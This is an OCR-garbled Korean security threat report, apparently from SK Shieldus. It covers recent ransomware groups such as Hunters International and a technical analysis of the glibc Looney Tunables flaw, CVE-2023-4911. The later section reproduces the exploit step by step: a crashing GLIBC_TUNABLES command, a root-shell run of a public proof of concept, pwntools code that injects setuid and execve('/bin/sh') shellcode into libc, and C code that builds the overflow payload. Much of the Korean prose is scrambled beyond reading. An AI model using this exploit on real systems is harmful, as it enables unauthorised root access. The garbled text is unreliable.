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https://blog.naver.com/sk_shieldus

Keep up with Ransomware
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o LockBit ’ New ransomware variant

Stop : .mird, .mlwg, .mird, .mlap Medusalocker : .savelock52, .locknet

.mlza, .ptqw, .pthh, .ptrz .nigra, .crypto1317
OINDD e .

Zput, .ppvt, .ppvw, .ppvs Dharma : .2023
Chaos : .MesaCorp, .34r7hGr455 Proxima : Jarjets

O=NNEDD
o BlackCat(Alphv) ’
New ransomware & group

o-’ Hunters, KeyLock, Ran, BlackDream
8Base A
e

u'@'u
=T
OIIINNEDY -~ O
o) samoes > 3 OINEEDD
OIIINDD O
OIINEDD O
OIIDYD ) D

M=z2 A4

ol 2o AEA THH WMol KeyLock ¥ BlackDream Al {lol= AES ¢ile]52 AHESHo
ude fdesteta ARGE 7[E RSA ¢igEFo= B3t o|F VSC® AAE & AlAH
BFE oA wE ¥ F38& f7ch: 54< 7HAT Utk Ran BAole SFERY H Base6d
#r(“This.Is.For.petrolimex.com.vn.2023")& 7|2 AREste] AES <18E2 59 #Ide
F2ofettt. o] o FEsto] ARRE= 7] #ho] StERY HolloeHz ES S} Jhssithe 54|
At Ran ol et UA AW KeyLock 2 15 W 8 o ¥WAYE HiddenTear AlE9
AddolEte 58 7HA 2 ok HiddenTear & S HH02 37/0H Q&AL T2AEo[ AT
TARRE] oFgste] olH7A| L HMZo] Zolx] e 9lth. BlackDream 2 20 | 1 Qof wAd
WannaScream AEe] LY olZ WannaScream -2 DarkCrypt #Hol2: A loH
Harma, FOB, Snc, AWT 2] fideolet 22 Al &3 At

rr

> VSC(Volume Shadow Copy) : Windows A|2&ISIA wtdelt} Erjo] Wg] BAHEE AJAste] dolej7t &A= AY AAE 49 o2

dEHz 599+ = 7T
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Companies We started to see that someone falsely decided that we are the Hive
ransomware group based on a 60% similarity of encryption code.

Speculations About Us

All of the Hive source codes were sold including the website and old Golang and
C versions and we are those who purchased them.

Unfortunately for us, we found a lot of mistakes that caused unavailability for
decryption in some cases. All of them were fixed now.

As you may see here, encryption is not our primary goal, that's why we didn't do
it by ourselves.

S X @

* Z2] . Hunters International T3¢ §& AO|E

ol o vbAE At S| 15 = Hunters International(©]sF Hunters) =14 9] 1‘3—3— 23]
z HHE Hive 9 gHidolzl= o]Fo] A7|=1 Ity Hunters @+ Hive 7HS] A& A

[¢]

12, 45t FHol 47s fAStel ddAwe Ageltt olHfd k@
a9 & AolEd 7Y #5& S3lom, @A Hive 7}

AT CF 56%
oJAls |2 e §l Hunters

= L
A .
Hofgh 2 FES TS o)

Hive 240l 152 #Aolo] 7]8FE & RaaS 18O =, 2021 W 54T o] A AlA 1,500 A
ol Hal AHHE of7|s] 1 o &&(eF 1,295 & 9) oAk ’F oS AR E3], Hive &=
Ol5A Egt oflzt Fa Izt T EZOR 4ow FHAT FZ HAH H2 miE
A AT olzfgh dFg ez Qs I wEA A FEIF o]FolH o) 1 ¥ ol HE=
Adg Folgt Aoz . 2y, Hunters 7F Hive ©F fARE 29 iAol 7M1
SAsto] o] op7|E il §lvh. Hive 7F Hunters @F &AAFE 9 Qlmets H|To] AHPE
He AT 9o}, duFAQl RaaS AFE2 HY, thad =3, @I58 54 ALQAE FstAY
A 2L = 9 2o 5t=d Hive & AXG 22735 AAX ol 54 52
AR 2] ot o7& Z}OMJE At wEbA Hunters 9 &% dH7F 5 IF 749 #AES
Eoldl 4 Q= FAVF 2 AoR Ht
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A 5 ¥ d22= Royal o Efzlo] o] 3 gF 9 o]4fe] JiIAET f-5H Aol Aot FA
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= A Bel Ak BT AeR mob Walak Mok o] kg REE Yrshm

55 i o 1 AE7}

NoEscape += #]
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Aol SokA ghow 2 Walrt 9l Aoleks @ubd BPE Eas 22 AN A el
7ol 241 FQ mEAE gl B4, Holgulols, Aok ol EgH 4% dold} ki)
EG o5 mFAol @ 7 Wol sl AL SAdckn FAst 4459 A Ame
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BlackCat(AlphwE 78] 252 olelen 9l Widlel 150z o4, ozd, 84, A=Y
5 09 Bol] s AL A&HoR SuUsE Ut 58, o2 A&HoR Mgl
WES AL glom Rt BPES Bestel 3AL Sas o}, #el

452 A% § 4% AayEe $9LEy
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Hunters @4g o] /N

% Companics THIS HIDDEN SITE HAS BEEN SEIZED
m Hive

New
L ® sicwn 4 NTE The Federal Bureau of Investigation seized this site
as part of a coordinated law enforcement action taken against Hive Ransomware.

Awaiting®  US* Europe® Exfiltrated* Encrypted

yom o1 ~
7% POLIZE| 3o ' _
. . o A BADEN-WURTTEMBERG

EURTPOL

v u I _ H ® I Lz
o oo ]
] A
This action has been taken in coordination with the United States Attorney’s Office for the Middle District of Florida and the
Computer Crime and Intellectual Property Section of the Department of Justice with substantial assistance from Europol

* Z2] : Hunters International, Hive tt3¢ §& Alo|E

= Hunters International 15°| AF&SH= iAol =2, Hive v6 & AZ3} oF 56%
T fFAEE M3 ot Hunters 152 iAol 349 548 oyt opd,
=a2 85k flgt dlole @] 23S wEal Qo olg2 HoiAES] =4t

KX
=
¢ s e A ARE /FESHE §

Hunters @14 ¢o
1—15_,] AANFA

1] s 2L of| Al
Ame Az 9 viel 4R

07:]0]'01 %}
A A4S AT gk E, olEL B A4S AT 5] 95 B B4
ge] olde HES ALY Folztal Hel7]k Pt o] 54 W2 17 BlackCat(Alphv)
5] o BAtY] RS $EAA EEAo W Aol sl

dE BEge Hol’lk 5t
==, 5‘4—3 Hive ¢} 2|HIY 9|&5 A 9le Hunters 94 vRd7ix|e] gHS
ol 22 ZE FAESF HEo] Fid] e HdT & e AV FUHHe=

)
ol
rlo
i
i‘:
i,
n
-

|J
o

rlo

lo
il
2,
2,
ofy
N
_O|L
rlr
Y,
o
>
ol
B

Hunters 188 k55 o)Al dlolel 2271 AA1Se] F2xolrle] Aa] Baslols Aein]
21 RaaS = WOjE|QE Hive o] A4 FE9} 015{3}2 Fust Aolaty FAFskT Qlul. Tt
Hive v6 2}9] E‘;—S A=) -,Qr/\}/ﬂo H| 28], HH-Eo 7
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Hunters Ransomware

g2zt 7/

(=]
Chacha2o a‘
File Encrypted

gzst gy

oY 37| 5.25MB 0|4 : | = 54Byte MIQ|5tD ot 37|2| 10% =5t = H2 oY
37|9] 10%0l CHol ot EEZ A53}

oY 37| 5.25MB 0|3t : £|= 54Byte M2/ LY TH| F53t

Q

. NEC- ST |
T 022
Hive v6 _::2.{3 I_II}I T I‘
£y
ChaCha20 & RSA Rust AMH|A 9l
Pty Z2NA BB
TN | Y2
(I T Y T T R A A D \
(I T U T O Y T T O S
DU IS A N NN S _
N T _NEN L 72N 2NN SN
(I Y T T A AN N I 0 T A Y A A W A N A A O A DY) I B AN
T I A VA Y O I T T R R A A
11 \_II_l | I_UNDLLNL// NI N1 N/ A\ I
M E To contact us follow the instructions :
1) Install and run “Tor Browser” from https://www.torproject.org/download/
2] Goto osmt UmarsramihsmewscT a7 gl eokdn i Somenms w el ol m ev phogor el L m s
3) Log in using the credentials :
Don't waste time. Inform your CEQ about the incident ASAP. Show Data Leak Site :
<414 H S A DOES | AR YRS 1 S ST DO TES SN M N LA SELOE
. Contact Us.txt
w2z 37
Jocked
/5 ofof
Rust
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infosec

Discovery

Defense Evasion

[ T1135 ]
[ T1010 |
Tioe: ]
[ T1083 |
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e o
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=Y 33, wll =l 8
oY bHEE, BB
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Privilege Escalation Native APl 5=
=
ACL HES B8 3
Hst & b=
Impact
S J/

MH|A 8 Z2N A FX|

N clols oy,
PP e
=

S/

Hunters @490 #4900l B4 9o cordt 7164 Ak Agata ok WA, Axd
AR AL B A9 9 fBAolde soteln WEYD FRALL HEF 243 w3
dele e gastel 4Y F<1 He £ FEIAY]] gF BHoR 54 Aus 9 nRAsS
Fag

RRold Agsts Bage dSstHe] glom, AW Fo] AN T USRS siAske
WaoR ARl glo] AIUA Jwe] BAE @sfet HekS AR Itk Native API'E

AgaHl firkd Az 2 AIUH sise] Windows APPE AH§E et DebA HeF &2 Aol
olg BAS7I7L oAYAEE Hunters = Natve APl M-S 53] 9AE Fusis P42
4 g9c

7 Native API : Windows 29 #|A|e] 34 7)o 28H= LowLevel API

8 Windows APl : HzS0] AHgsl7] 418 142 QEF o] AS AEst= AP
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EF, Hunters AAHolE SMAAE BAo] 44 BAolA ootk S4S olgdie] 7}
WA AFgsls mele] £ §52 @AEE Anti-VM 7]He Agss
oo A2ar] fIaiH ACL® W7

il

>,
>
o of
=)

giole] gBEE FqT Al oAH < 5o Hte
‘}4*174 Ao}t AU FdotA wEJCH, AR WY W] mdolt VSC & AN
£ qulste] Y Q5L AAstel 2L B Se At FYL SR
infosec

54Byte Hof mA 54Byte &&f MY

1MB =35t
@ 3719] 10%)

o 5MB &5 3t
(54Byte X|Q|TH HA| mY)

0.9MB &5}
(22 mAU9| 10%)
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(9] 2 2719 wg 28 3 Al
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ZRES GEIAYIE 2L SPT

¢ ACL(Access Control List) : mtglo|u} tjelefalo] tigt A Age AU Aojslr] s Agaht 188s AT A AFsh=
Het viAYE
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URL :

URL :

https://thehackernews.com/2023/10/gakbot—threat—actors—still-in—action.html

https://www.bleepingcomputer.com/news/security/hellokitty—ransomware—source—code—leaked—on—

hacking—forum/

URL :

URL :

URL :

URL :

URL

URL :

https://ransomware.org/blog/fbi—issues—warning—on—dual-ransomware—attacks/
https://www.scmagazine.com/brief/play—ransomware—attack—confirmed—by—dallas—county
https://www.infosecurity—magazine.com/news/boeing—lockbit—ransomware—breach/

https://therecord.media/white—house—counter—ransomware—initiative—summit—new—measure

: https://thehackernews.com/2023/10/pro—hamas—hacktivists—targeting—israeli. html?&web_view=true

https://www.bleepingcomputer.com/news/security/new—hunters—international-ransomware—

possible-rebrand—of-hive/

URL :

URL

URL :

URL :

https://www.theregister.com/2023/10/25/rebuilt_hive_ransomware_gang_stings/

: https://www.darkreading.com/threat—intelligence/ragnar—locker—ransomware—boss—arrested—paris

https://cybersecuritynews.com/blackcat—hacker—tool-remote—machines/

https://www.bleepingcomputer.com/news/security/ukrainian—activists—hack—trigona—ransomware—

gang—wipe—servers/
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Research & Technique

GNU Heap Buffer Overflow £ ©ol8%t 3ot g5
X|OF™(CVE-2023-4911)

m Y N

A

2023 & 10 4, GNU C #olBge 524 269 § Hn eHE=S(Heap Buffer Overflow)
FHepdol  FHRTE. o] HeFd2  ‘Looney Tunables'#tal =W, =274  AREAL
GLIBC TUNABLES 84 #12:0} setUID 7} Zobgl m2 el o8] A4 Aae A5AZ %
QA7 gtk @52 718 AlAEIQ] Ubuntu, Debian, Fedora, gentoo, Amazon Linux 5ollA4 FHeFH o]
AT Fefd e $4 ¥ W= CVE-2023-4911 ojtt.

Looney Tunables F9Fd-2 GLIBC_TUNABLES 373 W4 BEE-S Aok B oA B
3479 7$olE  tunablel=AAAltunable2=BBB ¢ T2  F4oz  AAHA,
tunablel=tunable2=BBB A& Flo] o|F dddw dAor ZAHE A9 name-value & 2HEA

wostx] Fokal, olF Arh dojut My Z|Eok & At J|RHe o Hn HERSTL
AR o5 T A 2rojE vl e HRt 5ol o]Fofith

ES, GNU C =olB2e] g4 2o Tzl Fagt &# =olBaaE dAe H, ol&
Hzeo] mesto] A wdyp AA%Hh SRR, o] ¥Ho] setUID £ setGID 7F ZeHH
Tl s B2 dor APH7] wio] Ht fldo] ARt

Looney Tunables HI9FE 22 7wk A2glom 2@ AW, loT, ZLHSE AulL 5 Tt
Aol G vl ole@ ALH] FAA} ARstel DL FHAY A9, FAH 24
meh ohUet Bed sk AT 5 ok AAZ 97 1% 74(Kinsinge o)

Z9e #5%0 4T shlE AT 59 o

Rl BW 5 5 EAEE A
o

P9z Hsfg F
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b= AT EQ0] B
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S/W £ 3ot A
Ubuntu 22.04, 23.04
Debian 12, 13
Fedora 37, 38
gentoo < 2.37-r7

Amazon Linux 2023

X S B{H 210 GNU C 2to|ER2|E At8sHe OS OIA HopHol s JHs ol U
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27 ALzl

CVE-2023-4911 & o§3 4 Auelet theat 2o
infosec

@

CVE-2023-4911 3|%% 34

10/

Al A8 H|of At S

<
<S)
N Z o 2
= =
3 Az}
m - ANe F2 FHE 23 3 333E M2
d9 1. 34 Ayzle
@ SAXE Fofe HESl Mu BAM S LB ALZR Moz A[AHO M
@ BZAR= CVE-2023-4911 # UM S 0|83 A1 |k} Heloz Hsh A%
® 34X Al2" Hof Hoh A S8 FEE I
@ 3AXE Al2H0| ZHO0E ZHAA Y= St =2 Al

mOEAE 7 7Y HE

riok

CVE-2023-4911 ¢] HAE &AL t}ea}t 2t}
o8 He
Ubuntu 22.04.2 LTS

| s Xt
Ubuntu GLIBC 2.35-Oubuntu3.3
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m oY EA
Step 1. PoC HIZE

WA A0S 7h CVE-2023-4911 of ZioFn] Belahe §alolS Abgstel Fletde woreit
OS 7} Fekshz] wedsle= HH2 A=B=C ¢} Z2 o|F 33 W45 Usto] segmentation fault &
spelshs Wolch, ok 1S Sl Walol ohew 2ok

2i
OJ@
0,

Fof

$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z="printf '%08192x" 1™

. ‘

/usr/bin/su —help

E 1. FFd =l g3l

FoFst OS ol A= 7 Wu QHEZE2 97 WAISle] Segmentation fault 7} & H}.

eqst@23NBO109:~$ env —i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.m
xfast=A" "Z=‘printf '%08192x' 1" /usr/bin/su ——help
Segmentation fault|

a9 2. 9%t OS HAE Ay}

FoFstAl 2 OS oM su BP9 help &dol A=l su BP9 =xdes & + Ut

eqst@23NB0109:~$ env —i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.m
xfast=A" "Z=‘printf '%08192x' 1'" /usr/bin/su —-help

Usage:
su [options] [-] [<user> [<argument>...]]

Change the effective user ID and group ID to that of <user>.
A mere - implies -1. If <user> is not given, root is assumed.

79 3. FA%kA @ OS HAE 2%

#okgh O oA PoC & 544718 9% 94 A% 5 42402 roor A2S A 2 9t
PoC : https://github.com/leesh3288/CVE-2023-4911

eqst@23NB0109:~/CVE-2023-14911% ./exp
try 100
try 200

try 3700

# id

Iuid=0(root) gid=0(root) qroups=0(root)Ll@@l(eqst)
1% 4. PoC HAE A3 FE A &4
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Mo

CVE-2023-4911 #<oF4-& GLIBC TUNABLES &7 ¥4 Az EA2 ¢ Hu WSz 99U}
HrAS= F b o)t

GLIBC TUNABLES 34 wWZY:  tunablel=AA:tunable2=BB #¥ name=value:name=value
Proz PG, o] o tunablel=tunable2=BBBB ¢} #Zo] olF IdH ®rloe=x e HFE
Adstd Ads /ol o Hy eHERSrF YAt T4 Wil eHEERSE o|-§5to
ZRAHE RSt WHEI ZIEHE o]gdty ¥4 FTrt ¢EH JolEyeE 2R At

el
Foa 4oz ATt

4>

HA ol dde Sl M_E olsie v, £2AFES HAuiEn

AAF @219 GLIBC_TUNABLES $+7 ®47

(1
L
o

%
i
)
)
o
i)
N

at
2
of
1
S
i

infosec

Heap25 &g
tunable1=AAA:tunable2=BBB

Y

name value
H3a ETE TN ——

tunable1=AAA

L J

tunable2=BBB

:tunable2=BBB

9 5. 37491 Tunable 87 W4 48 Al 52

tunable1=AAA:tunable2=BBB @h= EAgo| 4F 2k 9] ZolQl 25 Hio|ERHE HRyE
T2 sttt o]% g3 W49 name 2 EQISH Foll &g olvh WONULL) 7R &
value 2 AJZ5te] tunablel=AAA & Yol AHSITE o] 1S wHESte] TS name-value
FHoll= tunable2=BBB 7} §=%™, o] name-value Ftol UE AHS = FUIct] ol
A7yt

i
g
Mo

kg; 2
l:l
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ST A o|2] ¢f2 GLIBC_TUNABLES 23 ®47F = =d oh33t 7Fo] Fzheict.

infosec

Heap21 2%

. 4

tunable1=tunable2=BBB

name value
EEl Ha ———F

tunable1=tunable2=BBB

L J

tunable2=BBB

:tunable2=BBB

HI3 Ha

Heap Overflow &4

a9 6. B4A0)A G2 Tunable 87 W4 48 A 57

tunablel=tunable2=BBB #h= EAtgol AW FAF] ZolQl 21 Ho|ERtE wRgE &3
gttty olF 3 w9 A FA tunable name ¢l tunablel & ERlotal o]F 9] o]}
NULL 7}A]E tunable value 2 AZ}tst7] wfj&of tunable2=BBB & %% tunable value 2 AJZ}sHA

=,

oldf, T HFEHo|ME tunable2 & 5 H#| tunable name 22 16} tunable2=BBB 7}
F7HHo= o AFHEHT o] e 21 HolE H7]e] jlo] 34 HpolEZ} AAE|o| Hx
S HERST HAg

HiE QHERQE o]|gslo] FAT AL link_map 2 FRAlC|th g TRALE @ Fd
dgE, @ Al 273t 2Fo] EASHA] grErh wEbA] vlE] Hn QHER9E o] &4
link_map +ZA9] xEE FES HESE H link_map +2A7F FEEE Sict

HEE ZHE AH godo HAFH -0x14 HES 7179, i FE2 dynstr G499
") E UEtle exAolt, aiEts FA Al "2 H olg9 A F2E At FF
ghg-gitt,

rr
off
lo

2 Link map: ZRAI2 F2 7 WollAl 7 eolngeiete] 45242 fejsty ofE ojuejeg 2 9 dzEs)

O A
g 54
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GLIBC_TUNABLES=tunable1

27 4+ 37|93 € | tunable1=tunable2=BEBBB

=tunable2=BBBB'--BBBBBB

"| EEBBBB---BEBEBEBBEBBBBEB

infosec

tunable1=tunable2=BBBBB
EBBEE---BEBBEEEBBEBEEB

oy , tunable2=BBBBBBBBEBBB |

<Qlo] Al FolE|. Overfig 2
e TE w-ul ---BBBBBBBEEE:tunable2= ! link_map
1 EH mor
-0x14 | —2 =228

tunable2 J BEBBEBB
"'BBEBBI: “tunable2=

- | cesazem | e 2 s

-0x14

-0x14

yoiy CRLELUEE > 2l0] RE MY U A 4B

1% 7. CVE-2023-4911 F <A QoF

ForAol AN LAY Uole HAG] Q5 AAFEE AmEr:, GLIBC TUNABLES $H74 H4=
__tunables_init() oA A EW, o] o] @A R E  tunables strdup()  @eot
parse_tunables() <=7} Utk
tunables_strdup() e+ GLIBC_TUNABLES 2F4 ®Wio] Exd Zo|utd vWHE 54
gt g WaE BARIT parse_tunablesO) RtpE HARE WHE HOP BlOA[AHE] g
AMNEE F4sheA] E9lsi, F2lo WA HaeEg et st

217 void

278 __tunables_init (char **envp)

279 i

280 char *envname = MULL;

281 char *enwwal = MULL,;

282 size_t len = 0;

283 char **prev_envp = envp.

264

285 maybe_enable_mal loc_check ()

266

287 while ({envp = get_next_env (envp, f&envname, &len, &enwval,
238 &prev_envp)) = NULL)
289 i

290 Hift TUWABLES_FROWTEND == TUNABLES_FRONTEND_wvalstring
291 if (tunable_is_name (GLIBC_TUNABLES, envname))
292 i

293 [char +new_env = tunables_strdup (envname) |
294 it (new_env != NULL)

295 |parse_tunables (new_env + len + 1, envval);
296 A Pyt in the uodated envvaINe *

297 *prev_envp = new_env.

298 continue; [ Heap | l Stack l
299 I

1Y 8. __tunables_init() 4
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GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=EQST

Step 1. A ¥1#]| while ¥H=

parse_tunables() €2 A WA A=} tunestr & & G =
A valstring 2 _—.(stack) Y9l Add ¥ &7 HsE Tt :
ZAH = 2 Wi BAE-S 7H7IH, €7 ¥<=9] tunable name ] Zolg 3l

169 static void

170 parse_tunables (char *tunestr, char *=valstring)

171 {

172 if (tunestr == MULL || *tunestr == '#i0")

173 return; - -

174 ‘/- glibc.malloc.mxfast=glibc.malloc.mxfast=EQST
175 [ char =p = tunestr;]

176 size_t ott =

177

178 while (true)

179 {

180 | char =name = p|

181 size_t len = [

182

183 A+ First, find where fhe name ends, #/

184 while (pllen] 1= '=" &% pllen] = "t && pllen] = '#0')
185 lent++; —

o

1% 9. tunable name 2] Zol& T3 &3 WH49] value & &<l

o|% tunable value & F3t7] Y&l p & = HFE o2 $th(line 204). tHA] while & ©]-8351
leng Z7A17|H | = NULLE —EE} o2 &3] tunable name®f d=5h= tunable value =

204 |p = len + 1, |<& glibc.malloc. mxfast=EQST ]

206 * ; ince we need fo MAL ferminafe Hf. #/

207 char #value = &valstringlp — tunestr].

208 len = 0,

203 . (Stack) glibc.malloc. mxfast=EQST

210 while (pllen] = "' &k pllen] = '#0")

211 lent++; ||en=0x13

19 10. 37 ¥H49] tunable value & &<l

- -
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e 3l JHof FofA 1‘3 name-value #& £t}

o

tunestrloff++] = T
unable_lis
[ const char »*n = cur—>nameJ]4"/ glibc.malloc.mxfast

while {xn 1= '"H0")
tunestroff++] = #n++;

tunestrloff++] = '='; (Heapof &)
l——» | glibc.malloc.mxfast=glibc.malloc
.mxfast=EQST

for (size_t i =0, | < len; j++)
tunestrloff++] = valuelj];

I 11 el 92 &3 W & A%

My A4 & pllen]o] NULL o]7] wjZof if 27F0] AP 2] ¢hot p gho] A= A] ¢
WA tunable name ZF2 9= 77|12 It}

| plox18] = "wo |

=7
o
=

if (pllen] != "#0")

p+=len + 1) -
} [ +p = glibc.malloc.mxfast=EQST ]

a9 12, 270 %A ¢kot p 9 & A
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Step 2. & ¥4 while ¥H&

A2 A=A glibc.malloc.mxfast=glibc.malloc.mxfast=EQST ¢] A & glibc.malloc.mxfast

BHo AL Y] BE(glibc.malloc.mxfast=EQST)& 7}2]7]9, name-value FAAF 22 0] thA]
AdHtt, o] &l name-value gto] thA| 1 E2H T
while (true)
{
char *name = p;
[Slze T 014\[ glibc.malloc. mxfast=EQST I
Jx First, Find where the name ends. #/
while (pllenl I= '=" &% pllen] I= "' && pllen] = "#O")
len++: len=0x13
|p = len + 1, | — [EasT |
+ ; ince we need fo MUL ferminafe if. #/
char #value = &valstringlp — tunestr].
len = 0,
(Stack) EQST |
while (pllen] '= "' && pllen] = '#O')
len++, len=0x4
1% 13. 2 2} name—value & &
A2 AEPE g4 W9l glibe.malloc.mxfast=glibc.malloc.mxfast=EQST &= Zo]7} 0x2c o|2=&,
K] 0x2c¢ la=s HxeE shsitt, ShA| gt * HA while =
o8 :glibc.malloc.mxfast=EQST 7} F7I=2 AAEo] 0x19 Z7]e] H¥ eHIEZ-e7} 23t
H QHEZSZ Qg & FHo F WA name-value?] :glibc.malloc.mxfast=EQST 7} F7}Ht}.
ag 6 &3

1 —
(tunable_list) if (off > 0y LOff = 0x2C

glibc.malloc.mxfast tunestr[off++] =

\[ const char *n = cur—>name: | TS
eap

while (*n 1= "H#0") glibc.malloc.mxfast=glibc.malloc
tunestr[of f++] = =n++; \ .mxfast=EQST
_I_

tunestroff++] =
T (Heapoil =)
for (size_t | =0 | < len; j++) :glibc.malloc.mxfast=EQST

tunestrloff++] = valuelil;

1% 14. Heap Buffer Overflow
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while & w}Ag} 2AE wESlo] p 9] gho]

T we g 99 2u R 43w BAde
ZH71A Ho
if (p[len] = 'WO')[ plox4] ="+ ] +p = EQST:glibc.malloc. msxfast=EQST

p+= len + 1;
}[ |-

glibc.malloc.mxfast=EQST

19 15. Heap Buffer Overflow 2 Q3] p 9] gro] WA=l 27 A4Y

o
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Step 3. Al 1A while Y&

s @HESRe7E WSt p = | A9 valstring 2] Zolirt AAA =i, o]z I3
AEHo] HAFE valstring HHE-E02 HET 4= Ut}.(line 207)

while (true)

{

|char <name = D"]"\[ glibc. malloc. mxfast=EQST I
size_t len = O,

.

% |~
lu)
9
2,
eta)

Sr First, Find where the name ends. #/
while (pllenl 1= '=" &% pllen] = "' && pllen]l 1= "#0')
len++; len=0x13

[P +=len + 1, |@— { EasT |

*+ Take fhAe value Frog fAe valsicing gince we need fo ML ferminafe if. =#7

| char *value = &valstringlp — tunestr] |
len = 0 \l

while (pllen] '= ':' &% pllen] '= '#H0')
len++; | len=0x4 |

Id9 16. €& &7 ¥ ¥ o mme H

= §3 U4 99| Overflow |

r

ol

Ol Soff 280 MY AE ¢S & S| SASHL)
T

(tunable_list) f_(off > o) LOff = 0x44
glibc.malloc.mxfast tunestrloff++] = ' '
\ - (Heap)
[ const char *n = cur—>name. | glibc.malloc.mxfast=glibc.malloc
.mxfast=EQST:glibc.malloc.mxfa
while (xp 1= "#0") st=EQST
tunestroff++] = »n++;
_I_
tunestrloff++] = '=';
(Heapoll &)
for (size_t j =0, i < len: j++) A ‘glibc.malloc.mxfast=2777
tunestrLoff++] = valueljl: (Zoldl 0x40HS Heapll £21)
1

19 17. Heap ol 1919] 3 o9 7}

A Al A= tunable value 9] 7] Ox4 vPo]ERZ 27| AA5t97] o] 22 el AH
HzgE Wy HEESH F9o A4 4 S 22U, tunable value & © ZA 45
o g2 28] s 9 oo A 4 Qe link_map FERAVE EEEHE RS HES 5

et
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link_map #ZAE Z2AA F4 7 oA A stolE|ete] A5Ag-e st ohE
golEdgE 2t d AdRCshe 5o FAYS 3%t E35], Linfo[DT_RPATH] ZEQIE:=
golBgE] AZE 7iE7|H, o] EIHO e XASHH Yste AR AHFH rolEdE
25t YOI EE AYe 4= it

link map 24 &4 292 @ callocO &5 o83t calloc) &= ldso o olsf
_minimal_calloc() <& ARESIC}

[ elf / dl-minimal.c

void

_rtld_malloc_init_stubs (void)

{
_rtld_calloc = &__minimal_cal loc:
__rtld_free = &__minimal _free.
__rtld_malloc = &__minimal_mal loc:
__rtld_realloc = &__minimal_real loc:

1% 18. 1d.so o] o9t m®e] g 4 X¢d

minimal calloc() —‘_ﬁ—/v\—li e/ RAR=AE=s
H

/ elf / dl-minimal-malloc.c

void *
__minimal_calloc (size_t nmemb, size_t size)
{
S New memory From the frivial malloc above is always already cleared.
(e make sure that's true in the rare occasion it might not be,
by clearing memory in free, below.) #/

size_t bytes = nmemb * size,

fidefine HALF_SIZE T (((size_t) 1) << (8 * sizeof (size_t) / 2))
if (__builtin_expect {({nmemb | size) »= HALF_SIZE_T, O)
& size |= 0 &% bytes / size |= nmemh)
return NULL;

’return malloc (bytes): l

!

a9 19. 2715} 23F o] ZA5tA] &= _ minimal_calloc() &
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B PoC &M 24

Step 1. £&H golH & A2}

T4 RLEo] W Aee FEchs doAHQl FHolH s AT &4 SolEE ¢ F

Zzao] Add o $&% _ libe start mainQ 2] 7)ol root @S] AL EHSH:

5 /\7} At s ARty ofo)A¢l grolH 2] AJ4d2 Python 9] pwntools HES ©&
A= sk

A At IE EhkE 2% OGootloz AAsta A Adste 4 ISE AT
)% libc.so.6 AL EASIe] libe start mainQ) FHHELS ol 229 libeso.b WAL
g

libc = ELF(r'/'L:i.b/x86_6Ll—'L:i.nux—gnu/'Libc .s0. 6"|)
= bytearray(open(libc.path, "rb™).read())

sc =|asm(she'l.'Lcra-Ft.setuid(E)) + shellcraft.setgid(0) + she'l.'Lcra-Ft.sh())l

orig = libc.read(libc.sym["__libc_start_main"[], 0x10)
idx = d.findCorig)
d[idx : idx + len(sc)] = sc

open("./libc.so.6", "wb").write(d)

a9 20. 224 stolH g A

Z2t5 golHeg]E faoldERE ol &QIskd _ libc start main() @49 F&o| off<}
Zo] fxEo] 7t SEESGS o HEo] 0koot)= AAFH dS 92 4 JUth
R e
_ libc_ start_main XREF[3]: Entry Point(¥), 002=41%9%8,
002eb000 (¥}
00129dc0 31 ££ HOR EDI,EDI
00125dc2 €a €% PUSH 0xE9 -
00129dcd 53 POP RAX
00128dcS 0f 05 SYSCALL
00129deT 31 ££ XOR: EDI,EDI
00129dc8 6a 6a PUSH Oxéa -
00129dch 53 POP RAX
00128dece OF 05 SYSCALL
00129dce &a &% PUSH 0x68
00129dd0 43 bs 2f &2 MOV RLY, 0x732£2£2£6260622E
69 fe 2f 2f
21 73
00129dda 50 PUSH RAX
00129ddb 43 29 =7 MOV RDI,RSE
00129dde €3 72 €9 01 PUSH 0x1016972
01
00129de3 81 34 24 01 HOR dword ptr [RSP]=>local 18,0x1010101
01 0L 01
00129dea 31 £6 KOR ESI,ESI
00129dec 56 PUSH RST
00129ded &a 08 PUSH 0xE
00129def Se POP RST
0012940 42 01 =6 ADD RSI,RSE
001284£3 5¢ EUSH RST [ execve('/bin///sh’,0,0)
0012944 43 29 =6 MOV RSI,RSE
00129d£7 31 d2 HOR EDX, EDX
0012949 éa 3b PUSH 0x3b
00129dfb 53 POP RAX
00l29dfc 0f 05 SYSCALL

a9 21, 2&FH golB¥E] 9] _ libc_start main() g
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Step 2. 225l go|H ez
A A FEE 2P 2AE golHdE " &Y ohele EARRE T EHE Adcte olf+e

=i LTl

shol Al A8 ohec,

ol

// copy forged libc
if (mkdir("\"", @755) ==
{

int sfd, dfd, len;
char buf[0x1000];

dfd = open("\"/libc.so0.6", O_CREAT | O_WRONLY, 0755);
sfd = open("./libc.so.6", O_RDONLY);

do

{

len = read(sfd, buf, sizeof(buf));
write(dfd, buf, len);
} while (len == sizeof(buf));
close(sfd);
close(dfd);
} // else already exists, skip

% 22. A SolBE " EH FARSH B4

th3o= 3 79 GLIBC_TUNABLES 34 W45 Frisitt. A #4 374 Haeg @2 ujg
filler+= ld.so @] rw AIZHEE A9 thg 54 S A A2 F99] mnes I T s gt
5 A 2 HeE @2 Y kv @ HEH eHERS HHE WA link_map FEA 9]
S0z k& njg] wneo] Agsict vpx]et 3 WH4E T2 i filler2 & B9 link_map
TERAZE et /]9 freE I e 4 AEE g HReE e oxA

strcpy(filler, "GLIBC_TUNABLES=glibc.malloc.mxfast="); _

for (int i = strlen(filler); i < sizeof(filler) - 1; i++)

{

H
filler[sizeof(filler) - 1] = '\0';

filler[i] = 'F'; MZZ plolol S st by 2|t

strcpy(kv, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast="); e
for (int i = strlen(kv); i < sizeof(kv) - 1; i++)
i

kv[i]l = 'A"; Heap 2 o1 0l 2/0| 2.2 2|

}
kv[sizeof(kv) - 1] = "\0';

strcpy(filler2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(filler2); i < sizeof(filler2) - 1; i++) Size = 0x620

{ link_map 27A|J} &
filler2[i] = 'F'; He RS B=7| 2T

}
filler2[sizeof(filler2) - 1] = '\0’';
19 23. 3 7§9] GLIBC_TUNABLES &7 W4

noho
